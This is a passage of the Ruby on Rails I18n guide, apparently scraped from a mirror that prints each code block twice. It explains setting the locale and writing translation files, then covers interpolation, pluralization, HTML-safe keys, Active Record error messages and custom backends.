{ locale: I18n.locale }
end

# app/controllers/application_controller.rb def default_url_options { locale: I18n.locale } end Copiar

Every helper method dependent on url_for (e.g. helpers for named routes like root_path or root_url, resource routes like books_path or books_url, etc.) will now automatically include the locale in the query string, like this: http://localhost:3001/?locale=ja.

You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this.

You probably want URLs to look like this: http://www.example.com/en/books (which loads the English locale) and http://www.example.com/nl/books (which loads the Dutch locale). This is achievable with the "over-riding default_url_options" strategy from above: you just have to set up your routes with scope:

# config/routes.rb
scope "/:locale" do
resources :books
end

# config/routes.rb scope "/:locale" do resources :books end Copiar

Now, when you call the books_path method you should get "/en/books" (for the default locale). A URL like http://localhost:3001/nl/books should load the Dutch locale, then, and following calls to books_path should return "/nl/books" (because the locale changed).

Since the return value of default_url_options is cached per request, the URLs in a locale selector cannot be generated invoking helpers in a loop that sets the corresponding I18n.locale in each iteration. Instead, leave I18n.locale untouched, and pass an explicit :locale option to the helper, or edit request.original_fullpath.

If you don't want to force the use of a locale in your routes you can use an optional path scope (denoted by the parentheses) like so:

# config/routes.rb
scope "(:locale)", locale: /en|nl/ do
resources :books
end

# config/routes.rb scope "(:locale)", locale: /en|nl/ do resources :books end Copiar

With this approach you will not get a Routing Error when accessing your resources such as http://localhost:3001/books without a locale. This is useful for when you want to use the default locale when one is not specified.

Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. A URL like http://localhost:3001/nl will not work automatically, because the root to: "dashboard#index" declaration in your routes.rb doesn't take locale into account. (And rightly so: there's only one "root" URL.)

You would probably need to map URLs like these:

# config/routes.rb
get '/:locale' => 'dashboard#index'

# config/routes.rb get '/:locale' => 'dashboard#index' Copiar

Do take special care about the order of your routes, so this route declaration does not "eat" other ones. (You may want to add it directly before the root :to declaration.)

Have a look at various gems which simplify working with routes: routing_filter, rails-translate-routes, route_translator.

2.2.3 Setting the Locale from User Preferences

An application with authenticated users may allow users to set a locale preference through the application's interface. With this approach, a user's selected locale preference is persisted in the database and used to set the locale for authenticated requests by that user.

around_action :switch_locale

def switch_locale(&action)
locale = current_user.try(:locale) || I18n.default_locale
I18n.with_locale(locale, &action)
end

around_action :switch_locale def switch_locale(&action) locale = current_user.try(:locale) || I18n.default_locale I18n.with_locale(locale, &action) end Copiar

2.2.4 Choosing an Implied Locale

When an explicit locale has not been set for a request (e.g. via one of the above methods), an application should attempt to infer the desired locale.

2.2.4.1 Inferring Locale from the Language Header

The Accept-Language HTTP header indicates the preferred language for request's response. Browsers set this header value based on the user's language preference settings, making it a good first choice when inferring a locale.

A trivial implementation of using an Accept-Language header would be:

def switch_locale(&action)
logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
locale = extract_locale_from_accept_language_header
logger.debug "* Locale set to '#{locale}'"
I18n.with_locale(locale, &action)
end

private
def extract_locale_from_accept_language_header
request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
end

def switch_locale(&action) logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}" locale = extract_locale_from_accept_language_header logger.debug "* Locale set to '#{locale}'" I18n.with_locale(locale, &action) end private def extract_locale_from_accept_language_header request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first end Copiar

In practice, more robust code is necessary to do this reliably. Iain Hecker's http_accept_language library or Ryan Tomayko's locale Rack middleware provide solutions to this problem.

2.2.4.2 Inferring the Locale from IP Geolocation

The IP address of the client making the request can be used to infer the client's region and thus their locale. Services such as GeoIP Lite Country or gems like geocoder can be used to implement this approach.

In general, this approach is far less reliable than using the language header and is not recommended for most web applications.

2.2.5 Storing the Locale from the Session or Cookies

You may be tempted to store the chosen locale in a session or a cookie. However, do not do this. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being RESTful. Read more about the RESTful approach in Stefan Tilkov's articles. Sometimes there are exceptions to this rule and those are discussed below.

3 Internationalization and Localization

OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests.

Next we need to internationalize our application by abstracting every locale-specific element. Finally, we need to localize it by providing necessary translations for these abstracts.

Given the following example:

# config/routes.rb
Rails.application.routes.draw do
root to: "home#index"
end

# config/routes.rb Rails.application.routes.draw do root to: "home#index" end Copiar

# app/controllers/application_controller.rb
class ApplicationController < ActionController::Base

around_action :switch_locale

def switch_locale(&action)
locale = params[:locale] || I18n.default_locale
I18n.with_locale(locale, &action)
end
end

# app/controllers/application_controller.rb class ApplicationController < ActionController::Base around_action :switch_locale def switch_locale(&action) locale = params[:locale] || I18n.default_locale I18n.with_locale(locale, &action) end end Copiar

# app/controllers/home_controller.rb
class HomeController < ApplicationController
def index
flash[:notice] = "Hello Flash"
end
end

# app/controllers/home_controller.rb class HomeController < ApplicationController def index flash[:notice] = "Hello Flash" end end Copiar

<!-- app/views/home/index.html.erb -->
<h1>Hello World</h1>
<p><%= flash[:notice] %></p>

<!-- app/views/home/index.html.erb --> <h1>Hello World</h1> <p><%= flash[:notice] %></p> Copiar

3.1 Abstracting Localized Code

There are two strings in our code that are in English and that users will be rendered in our response ("Hello Flash" and "Hello World"). In order to internationalize this code, these strings need to be replaced by calls to Rails' #t helper with an appropriate key for each string:

# app/controllers/home_controller.rb
class HomeController < ApplicationController
def index
flash[:notice] = t(:hello_flash)
end
end

# app/controllers/home_controller.rb class HomeController < ApplicationController def index flash[:notice] = t(:hello_flash) end end Copiar

<!-- app/views/home/index.html.erb -->
<h1><%= t :hello_world %></h1>
<p><%= flash[:notice] %></p>

<!-- app/views/home/index.html.erb --> <h1><%= t :hello_world %></h1> <p><%= flash[:notice] %></p> Copiar

Now, when this view is rendered, it will show an error message which tells you that the translations for the keys :hello_world and :hello_flash are missing.

Rails adds a t (translate) helper method to your views so that you do not need to spell out I18n.t all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a <span class="translation_missing">.

3.2 Providing Translations for Internationalized Strings

Add the missing translations into the translation dictionary files:

# config/locales/en.yml
en:
hello_world: Hello world!
hello_flash: Hello flash!

# config/locales/en.yml en: hello_world: Hello world! hello_flash: Hello flash! Copiar

# config/locales/pirate.yml
pirate:
hello_world: Ahoy World
hello_flash: Ahoy Flash

# config/locales/pirate.yml pirate: hello_world: Ahoy World hello_flash: Ahoy Flash Copiar

Because the default_locale hasn't changed, translations use the :en locale and the response renders the english strings:

If the locale is set via the URL to the pirate locale (http://localhost:3000?locale=pirate), the response renders the pirate strings:

You need to restart the server when you add new locale files.

You may use YAML (.yml) or plain Ruby (.rb) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.)

If your translations are stored in YAML files, certain keys must be escaped. They are:

- true, on, yes

- false, off, no

Examples:

# config/locales/en.yml
en:
success:
'true':  'True!'
'on':    'On!'
'false': 'False!'
failure:
true:    'True!'
off:     'Off!'
false:   'False!'

# config/locales/en.yml en: success: 'true': 'True!' 'on': 'On!' 'false': 'False!' failure: true: 'True!' off: 'Off!' false: 'False!' Copiar

I18n.t 'success.true'  # => 'True!'
I18n.t 'success.on'    # => 'On!'
I18n.t 'success.false' # => 'False!'
I18n.t 'failure.false' # => Translation Missing
I18n.t 'failure.off'   # => Translation Missing
I18n.t 'failure.true'  # => Translation Missing

I18n.t 'success.true' # => 'True!' I18n.t 'success.on' # => 'On!' I18n.t 'success.false' # => 'False!' I18n.t 'failure.false' # => Translation Missing I18n.t 'failure.off' # => Translation Missing I18n.t 'failure.true' # => Translation Missing Copiar

3.3 Passing Variables to Translations

One key consideration for successfully internationalizing an application is to avoid making incorrect assumptions about grammar rules when abstracting localized code. Grammar rules that seem fundamental in one locale may not hold true in another one.

Improper abstraction is shown in the following example, where assumptions are made about the ordering of the different parts of the translation. Note that Rails provides a number_to_currency helper to handle the following case.

<!-- app/views/products/show.html.erb -->
<%= "#{t('currency')}#{@product.price}" %>

<!-- app/views/products/show.html.erb --> <%= "#{t('currency')}#{@product.price}" %> Copiar

# config/locales/en.yml
en:
currency: "$"

# config/locales/en.yml en: currency: "$" Copiar

# config/locales/es.yml
es:
currency: "€"

# config/locales/es.yml es: currency: "€" Copiar

If the product's price is 10 then the proper translation for Spanish is "10 €" instead of "€10" but the abstraction cannot give it.

To create proper abstraction, the I18n gem ships with a feature called variable interpolation that allows you to use variables in translation definitions and pass the values for these variables to the translation method.

Proper abstraction is shown in the following example:

<!-- app/views/products/show.html.erb -->
<%= t('product_price', price: @product.price) %>

<!-- app/views/products/show.html.erb --> <%= t('product_price', price: @product.price) %> Copiar

# config/locales/en.yml
en:
product_price: "$%{price}"

# config/locales/en.yml en: product_price: "$%{price}" Copiar

# config/locales/es.yml
es:
product_price: "%{price} €"

# config/locales/es.yml es: product_price: "%{price} €" Copiar

All grammatical and punctuation decisions are made in the definition itself, so the abstraction can give a proper translation.

The default and scope keywords are reserved and can't be used as variable names. If used, an I18n::ReservedInterpolationKey exception is raised. If a translation expects an interpolation variable, but this has not been passed to #translate, an I18n::MissingInterpolationArgument exception is raised.

3.4 Adding Date/Time Formats

OK! Now let's add a timestamp to the view, so we can demo the date/time localization feature as well. To localize the time format you pass the Time object to I18n.l or (preferably) use Rails' #l helper. You can pick a format by passing the :format option - by default the :default format is used.

<!-- app/views/home/index.html.erb -->
<h1><%= t :hello_world %></h1>
<p><%= flash[:notice] %></p>
<p><%= l Time.now, format: :short %></p>

<!-- app/views/home/index.html.erb --> <h1><%= t :hello_world %></h1> <p><%= flash[:notice] %></p> <p><%= l Time.now, format: :short %></p> Copiar

And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English):

# config/locales/pirate.yml
pirate:
time:
formats:
short: "arrrround %H'ish"

# config/locales/pirate.yml pirate: time: formats: short: "arrrround %H'ish" Copiar

So that would give you:

Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by translating Rails' defaults for your locale. See the rails-i18n repository at GitHub for an archive of various locale files. When you put such file(s) in config/locales/ directory, they will automatically be ready for use.

3.5 Inflection Rules for Other Locales

Rails allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In config/initializers/inflections.rb, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit.

3.6 Localized Views

Let's say you have a BooksController in your application. Your index action renders content in app/views/books/index.html.erb template. When you put a localized variant of this template: index.es.html.erb in the same directory, Rails will render content in this template, when the locale is set to :es. When the locale is set to the default locale, the generic index.html.erb view will be used. (Future Rails versions may well bring this automagic localization to assets in public, etc.)

You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them.

3.7 Organization of Locale Files

When you are using the default SimpleStore shipped with the i18n library, dictionaries are stored in plain-text files on the disk. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you.

For example, your config/locales directory could look like this:

|-defaults
|---es.yml
|---en.yml
|-models
|---book
|-----es.yml
|-----en.yml
|-views
|---defaults
|-----es.yml
|-----en.yml
|---books
|-----es.yml
|-----en.yml
|---users
|-----es.yml
|-----en.yml
|---navigation
|-----es.yml
|-----en.yml

|-defaults |---es.yml |---en.yml |-models |---book |-----es.yml |-----en.yml |-views |---defaults |-----es.yml |-----en.yml |---books |-----es.yml |-----en.yml |---users |-----es.yml |-----en.yml |---navigation |-----es.yml |-----en.yml Copiar

This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation.

The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further:

# config/application.rb
config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')]

# config/application.rb config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')] Copiar

4 Overview of the I18n API Features

You should have a good understanding of using the i18n library now and know how to internationalize a basic Rails application. In the following chapters, we'll cover its features in more depth.

These chapters will show examples using both the I18n.translate method as well as the translate view helper method (noting the additional feature provide by the view helper method).

Covered are features like these:

- looking up translations

- interpolating data into translations

- pluralizing translations

- using safe HTML translations (view helper method only)

- localizing dates, numbers, currency, etc.

4.1 Looking up Translations

4.1.1 Basic Lookup, Scopes, and Nested Keys

Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:

I18n.t :message
I18n.t 'message'

I18n.t :message I18n.t 'message' Copiar

The translate method also takes a :scope option which can contain one or more additional keys that will be used to specify a "namespace" or scope for a translation key:

I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]

I18n.t :record_invalid, scope: [:activerecord, :errors, :messages] Copiar

This looks up the :record_invalid message in the Active Record error messages.

Additionally, both the key and scopes can be specified as dot-separated keys as in:

I18n.translate "activerecord.errors.messages.record_invalid"

I18n.translate "activerecord.errors.messages.record_invalid" Copiar

Thus the following calls are equivalent:

I18n.t 'activerecord.errors.messages.record_invalid'
I18n.t 'errors.messages.record_invalid', scope: :activerecord
I18n.t :record_invalid, scope: 'activerecord.errors.messages'
I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]

I18n.t 'activerecord.errors.messages.record_invalid' I18n.t 'errors.messages.record_invalid', scope: :activerecord I18n.t :record_invalid, scope: 'activerecord.errors.messages' I18n.t :record_invalid, scope: [:activerecord, :errors, :messages] Copiar

4.1.2 Defaults

When a :default option is given, its value will be returned if the translation is missing:

I18n.t :missing, default: 'Not here'
# => 'Not here'

I18n.t :missing, default: 'Not here' # => 'Not here' Copiar

If the :default value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.

E.g., the following first tries to translate the key :missing and then the key :also_missing. As both do not yield a result, the string "Not here" will be returned:

I18n.t :missing, default: [:also_missing, 'Not here']
# => 'Not here'

I18n.t :missing, default: [:also_missing, 'Not here'] # => 'Not here' Copiar

4.1.3 Bulk and Namespace Lookup

To look up multiple translations at once, an array of keys can be passed:

I18n.t [:odd, :even], scope: 'errors.messages'
# => ["must be odd", "must be even"]

I18n.t [:odd, :even], scope: 'errors.messages' # => ["must be odd", "must be even"] Copiar

Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive all Active Record error messages as a Hash with:

I18n.t 'activerecord.errors.messages'
# => {:inclusion=>"is not included in the list", :exclusion=> ... }

I18n.t 'activerecord.errors.messages' # => {:inclusion=>"is not included in the list", :exclusion=> ... } Copiar

If you want to perform interpolation on a bulk hash of translations, you need to pass deep_interpolation: true as a parameter. When you have the following dictionary:

en:
welcome:
title: "Welcome!"
content: "Welcome to the %{app_name}"

en: welcome: title: "Welcome!" content: "Welcome to the %{app_name}" Copiar

then the nested interpolation will be ignored without the setting:

I18n.t 'welcome', app_name: 'book store'
# => {:title=>"Welcome!", :content=>"Welcome to the %{app_name}"}

I18n.t 'welcome', deep_interpolation: true, app_name: 'book store'
# => {:title=>"Welcome!", :content=>"Welcome to the book store"}

I18n.t 'welcome', app_name: 'book store' # => {:title=>"Welcome!", :content=>"Welcome to the %{app_name}"} I18n.t 'welcome', deep_interpolation: true, app_name: 'book store' # => {:title=>"Welcome!", :content=>"Welcome to the book store"} Copiar

4.1.4 "Lazy" Lookup

Rails implements a convenient way to look up the locale inside views. When you have the following dictionary:

es:
books:
index:
title: "Título"

es: books: index: title: "Título" Copiar

you can look up the books.index.title value inside app/views/books/index.html.erb template like this (note the dot):

<%= t '.title' %>

<%= t '.title' %> Copiar

Automatic translation scoping by partial is only available from the translate view helper method.

"Lazy" lookup can also be used in controllers:

en:
books:
create:
success: Book created!

en: books: create: success: Book created! Copiar

This is useful for setting flash messages for instance:

class BooksController < ApplicationController
def create
# ...
redirect_to books_url, notice: t('.success')
end
end

class BooksController < ApplicationController def create # ... redirect_to books_url, notice: t('.success') end end Copiar

4.2 Pluralization

In many languages — including English — there are only two forms, a singular and a plural, for a given string, e.g. "1 message" and "2 messages". Other languages (Arabic, Japanese, Russian and many more) have different grammars that have additional or fewer plural forms. Thus, the I18n API provides a flexible pluralization feature.

The :count interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined in the pluralization backend. By default, only the English pluralization rules are applied.

I18n.backend.store_translations :en, inbox: {
zero: 'no messages', # optional
one: 'one message',
other: '%{count} messages'
}
I18n.translate :inbox, count: 2
# => '2 messages'

I18n.translate :inbox, count: 1
# => 'one message'

I18n.translate :inbox, count: 0
# => 'no messages'

I18n.backend.store_translations :en, inbox: { zero: 'no messages', # optional one: 'one message', other: '%{count} messages' } I18n.translate :inbox, count: 2 # => '2 messages' I18n.translate :inbox, count: 1 # => 'one message' I18n.translate :inbox, count: 0 # => 'no messages' Copiar

The algorithm for pluralizations in :en is as simple as:

lookup_key = :zero if count == 0 && entry.has_key?(:zero)
lookup_key ||= count == 1 ? :one : :other
entry[lookup_key]

lookup_key = :zero if count == 0 && entry.has_key?(:zero) lookup_key ||= count == 1 ? :one : :other entry[lookup_key] Copiar

The translation denoted as :one is regarded as singular, and the :other is used as plural. If the count is zero, and a :zero entry is present, then it will be used instead of :other.

If the lookup for the key does not return a Hash suitable for pluralization, an I18n::InvalidPluralizationData exception is raised.

4.2.1 Locale-specific rules

The I18n gem provides a Pluralization backend that can be used to enable locale-specific rules. Include it to the Simple backend, then add the localized pluralization algorithms to translation store, as i18n.plural.rule.

I18n::Backend::Simple.include(I18n::Backend::Pluralization)
I18n.backend.store_translations :pt, i18n: { plural: { rule: lambda { |n| [0, 1].include?(n) ? :one : :other } } }
I18n.backend.store_translations :pt, apples: { one: 'one or none', other: 'more than one' }

I18n.t :apples, count: 0, locale: :pt
# => 'one or none'

I18n::Backend::Simple.include(I18n::Backend::Pluralization) I18n.backend.store_translations :pt, i18n: { plural: { rule: lambda { |n| [0, 1].include?(n) ? :one : :other } } } I18n.backend.store_translations :pt, apples: { one: 'one or none', other: 'more than one' } I18n.t :apples, count: 0, locale: :pt # => 'one or none' Copiar

Alternatively, the separate gem rails-i18n can be used to provide a fuller set of locale-specific pluralization rules.

4.3 Setting and Passing a Locale

The locale can be either set pseudo-globally to I18n.locale (which uses Thread.current like, e.g., Time.zone) or can be passed as an option to #translate and #localize.

If no locale is passed, I18n.locale is used:

I18n.locale = :de
I18n.t :foo
I18n.l Time.now

I18n.locale = :de I18n.t :foo I18n.l Time.now Copiar

Explicitly passing a locale:

I18n.t :foo, locale: :de
I18n.l Time.now, locale: :de

I18n.t :foo, locale: :de I18n.l Time.now, locale: :de Copiar

The I18n.locale defaults to I18n.default_locale which defaults to :en. The default locale can be set like this:

I18n.default_locale = :de

I18n.default_locale = :de Copiar

4.4 Using Safe HTML Translations

Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. When you use them in views the HTML will not be escaped.

# config/locales/en.yml
en:
welcome: <b>welcome!</b>
hello_html: <b>hello!</b>
title:
html: <b>title!</b>

# config/locales/en.yml en: welcome: <b>welcome!</b> hello_html: <b>hello!</b> title: html: <b>title!</b> Copiar

<!-- app/views/home/index.html.erb -->
<div><%= t('welcome') %></div>
<div><%= raw t('welcome') %></div>
<div><%= t('hello_html') %></div>
<div><%= t('title.html') %></div>

<!-- app/views/home/index.html.erb --> <div><%= t('welcome') %></div> <div><%= raw t('welcome') %></div> <div><%= t('hello_html') %></div> <div><%= t('title.html') %></div> Copiar

Interpolation escapes as needed though. For example, given:

en:
welcome_html: "<b>Welcome %{username}!</b>"

en: welcome_html: "<b>Welcome %{username}!</b>" Copiar

you can safely pass the username as set by the user:

<%# This is safe, it is going to be escaped if needed. %>
<%= t('welcome_html', username: @current_user.username) %>

<%# This is safe, it is going to be escaped if needed. %> <%= t('welcome_html', username: @current_user.username) %> Copiar

Safe strings on the other hand are interpolated verbatim.

Automatic conversion to HTML safe translate text is only available from the translate view helper method.

4.5 Translations for Active Record Models

You can use the methods Model.model_name.human and Model.human_attribute_name(attribute) to transparently look up translations for your model and attribute names.

For example when you add the following translations:

en:
activerecord:
models:
user: Customer
attributes:
user:
login: "Handle"
# will translate User attribute "login" as "Handle"

en: activerecord: models: user: Customer attributes: user: login: "Handle" # will translate User attribute "login" as "Handle" Copiar

Then User.model_name.human will return "Customer" and User.human_attribute_name("login") will return "Handle".

You can also set a plural form for model names, adding as following:

en:
activerecord:
models:
user:
one: Customer
other: Customers

en: activerecord: models: user: one: Customer other: Customers Copiar

Then User.model_name.human(count: 2) will return "Customers". With count: 1 or without params will return "Customer".

In the event you need to access nested attributes within a given model, you should nest these under model/attribute at the model level of your translation file:

en:
activerecord:
attributes:
user/role:
admin: "Admin"
contributor: "Contributor"

en: activerecord: attributes: user/role: admin: "Admin" contributor: "Contributor" Copiar

Then User.human_attribute_name("role.admin") will return "Admin".

If you are using a class which includes ActiveModel and does not inherit from ActiveRecord::Base, replace activerecord with activemodel in the above key paths.

4.5.1 Error Message Scopes

Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account.

This gives you quite powerful means to flexibly adjust your messages to your application's needs.

Consider a User model with a validation for the name attribute like this:

class User < ApplicationRecord
validates :name, presence: true
end

class User < ApplicationRecord validates :name, presence: true end Copiar

The key for the error message in this case is :blank. Active Record will look up this key in the namespaces:

activerecord.errors.models.[model_name].attributes.[attribute_name]
activerecord.errors.models.[model_name]
activerecord.errors.messages
errors.attributes.[attribute_name]
errors.messages

activerecord.errors.models.[model_name].attributes.[attribute_name] activerecord.errors.models.[model_name] activerecord.errors.messages errors.attributes.[attribute_name] errors.messages Copiar

Thus, in our example it will try the following keys in this order and return the first result:

activerecord.errors.models.user.attributes.name.blank
activerecord.errors.models.user.blank
activerecord.errors.messages.blank
errors.attributes.name.blank
errors.messages.blank

activerecord.errors.models.user.attributes.name.blank activerecord.errors.models.user.blank activerecord.errors.messages.blank errors.attributes.name.blank errors.messages.blank Copiar

When your models are additionally using inheritance then the messages are looked up in the inheritance chain.

For example, you might have an Admin model inheriting from User:

class Admin < User
validates :name, presence: true
end

class Admin < User validates :name, presence: true end Copiar

Then Active Record will look for messages in this order:

activerecord.errors.models.admin.attributes.name.blank
activerecord.errors.models.admin.blank
activerecord.errors.models.user.attributes.name.blank
activerecord.errors.models.user.blank
activerecord.errors.messages.blank
errors.attributes.name.blank
errors.messages.blank

activerecord.errors.models.admin.attributes.name.blank activerecord.errors.models.admin.blank activerecord.errors.models.user.attributes.name.blank activerecord.errors.models.user.blank activerecord.errors.messages.blank errors.attributes.name.blank errors.messages.blank Copiar

This way you can provide special translations for various error messages at different points in your model's inheritance chain and in the attributes, models, or default scopes.

4.5.2 Error Message Interpolation

The translated model name, translated attribute name, and value are always available for interpolation as model, attribute and value respectively.

So, for example, instead of the default error message "cannot be blank" you could use the attribute name like this : "Please fill in your %{attribute}".

- count, where available, can be used for pluralization if present:

validation

with option

message

interpolation

confirmation

-

:confirmation

attribute

acceptance

-

:accepted

-

presence

-

:blank

-

absence

-

:present

-

length

:within, :in

:too_short

count

length

:within, :in

:too_long

count

length

:is

:wrong_length

count

length

:minimum

:too_short

count

length

:maximum

:too_long

count

uniqueness

-

:taken

-

format

-

:invalid

-

inclusion

-

:inclusion

-

exclusion

-

:exclusion

-

associated

-

:invalid

-

non-optional association

-

:required

-

numericality

-

:not_a_number

-

numericality

:greater_than

:greater_than

count

numericality

:greater_than_or_equal_to

:greater_than_or_equal_to

count

numericality

:equal_to

:equal_to

count

numericality

:less_than

:less_than

count

numericality

:less_than_or_equal_to

:less_than_or_equal_to

count

numericality

:other_than

:other_than

count

numericality

:only_integer

:not_an_integer

-

numericality

:odd

:odd

-

numericality

:even

:even

-

4.6 Translations for Action Mailer E-Mail Subjects

If you don't pass a subject to the mail method, Action Mailer will try to find it in your translations. The performed lookup will use the pattern <mailer_scope>.<action_name>.subject to construct the key.

# user_mailer.rb
class UserMailer < ActionMailer::Base
def welcome(user)
#...
end
end

# user_mailer.rb class UserMailer < ActionMailer::Base def welcome(user) #... end end Copiar

en:
user_mailer:
welcome:
subject: "Welcome to Rails Guides!"

en: user_mailer: welcome: subject: "Welcome to Rails Guides!" Copiar

To send parameters to interpolation use the default_i18n_subject method on the mailer.

# user_mailer.rb
class UserMailer < ActionMailer::Base
def welcome(user)
mail(to: user.email, subject: default_i18n_subject(user: user.name))
end
end

# user_mailer.rb class UserMailer < ActionMailer::Base def welcome(user) mail(to: user.email, subject: default_i18n_subject(user: user.name)) end end Copiar

en:
user_mailer:
welcome:
subject: "%{user}, welcome to Rails Guides!"

en: user_mailer: welcome: subject: "%{user}, welcome to Rails Guides!" Copiar

4.7 Overview of Other Built-In Methods that Provide I18n Support

Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview.

4.7.1 Action View Helper Methods

- distance_of_time_in_words translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See datetime.distance_in_words translations.

- datetime_select and select_month use translated month names for populating the resulting select tag. See date.month_names for translations. datetime_select also looks up the order option from date.order (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the datetime.prompts scope if applicable.

- The number_to_currency, number_with_precision, number_to_percentage, number_with_delimiter, and number_to_human_size helpers use the number format settings located in the number scope.

4.7.2 Active Model Methods

- model_name.human and human_attribute_name use translations for model names and attribute names if available in the activerecord.models scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".

- ActiveModel::Errors#generate_message (which is used by Active Model validations but may also be used manually) uses model_name.human and human_attribute_name (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".

- ActiveModel::Errors#full_messages prepends the attribute name to the error message using a separator that will be looked up from errors.format (and which defaults to "%{attribute} %{message}").

4.7.3 Active Support Methods

- Array#to_sentence uses format settings as given in the support.array scope.

5 How to Store your Custom Translations

The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.[2]

For example a Ruby Hash providing translations can look like this:

{
pt: {
foo: {
bar: "baz"
}
}
}

{ pt: { foo: { bar: "baz" } } } Copiar

The equivalent YAML file would look like this:

pt:
foo:
bar: baz

pt: foo: bar: baz Copiar

As you see, in both cases the top level key is the locale. :foo is a namespace key and :bar is the key for the translation "baz".

Here is a "real" example from the Active Support en.yml translations YAML file:

en:
date:
formats:
default: "%Y-%m-%d"
short: "%b %d"
long: "%B %d, %Y"

en: date: formats: default: "%Y-%m-%d" short: "%b %d" long: "%B %d, %Y" Copiar

So, all of the following equivalent lookups will return the :short date format "%b %d":

I18n.t 'date.formats.short'
I18n.t 'formats.short', scope: :date
I18n.t :short, scope: 'date.formats'
I18n.t :short, scope: [:date, :formats]

I18n.t 'date.formats.short' I18n.t 'formats.short', scope: :date I18n.t :short, scope: 'date.formats' I18n.t :short, scope: [:date, :formats] Copiar

Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.

6 Customize your I18n Setup

6.1 Using Different Backends

For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" for Ruby on Rails[3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but cannot dynamically store them to any format.

That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs, by passing a backend instance to the I18n.backend= setter.

For example, you can replace the Simple backend with the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends.

With the Chain backend, you could use the Active Record backend and fall back to the (default) Simple backend:

I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend)

I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend) Copiar

6.2 Using Different Exception Handlers

The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:

MissingTranslationData       # no translation was found for the requested key
InvalidLocale                # the locale set to I18n.locale is invalid (e.g. nil)
InvalidPluralizationData     # a count option was passed but the translation data is not suitable for pluralization
MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
ReservedInterpolationKey     # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
UnknownFileType              # the backend does not know how to handle a file type that was added to I18n.load_path

MissingTranslationData # no translation was found for the requested key InvalidLocale # the locale set to I18n.locale is invalid (e.g. nil) InvalidPluralizationData # a count option was passed but the translation data is not suitable for pluralization MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed ReservedInterpolationKey # the translation contains a reserved interpolation variable name (i.e. one of: scope, default) UnknownFileType # the backend does not know how to handle a file type that was added to I18n.load_path Copiar

The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for MissingTranslationData exceptions. When a MissingTranslationData exception has been caught, it will return the exception's error message string containing the missing key/scope.

The reason for this is that during development you'd usually want your views to still render even though a translation is missing.

In other contexts you might want to change this behavior, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module or a class with a call method:

module I18n
class JustRaiseExceptionHandler < ExceptionHandler
def call(exception, locale, key, options)
if exception.is_a?(MissingTranslation)
raise exception.to_exception
else
super
end
end
end
end

I18n.exception_handler = I18n::JustRaiseExceptionHandler.new

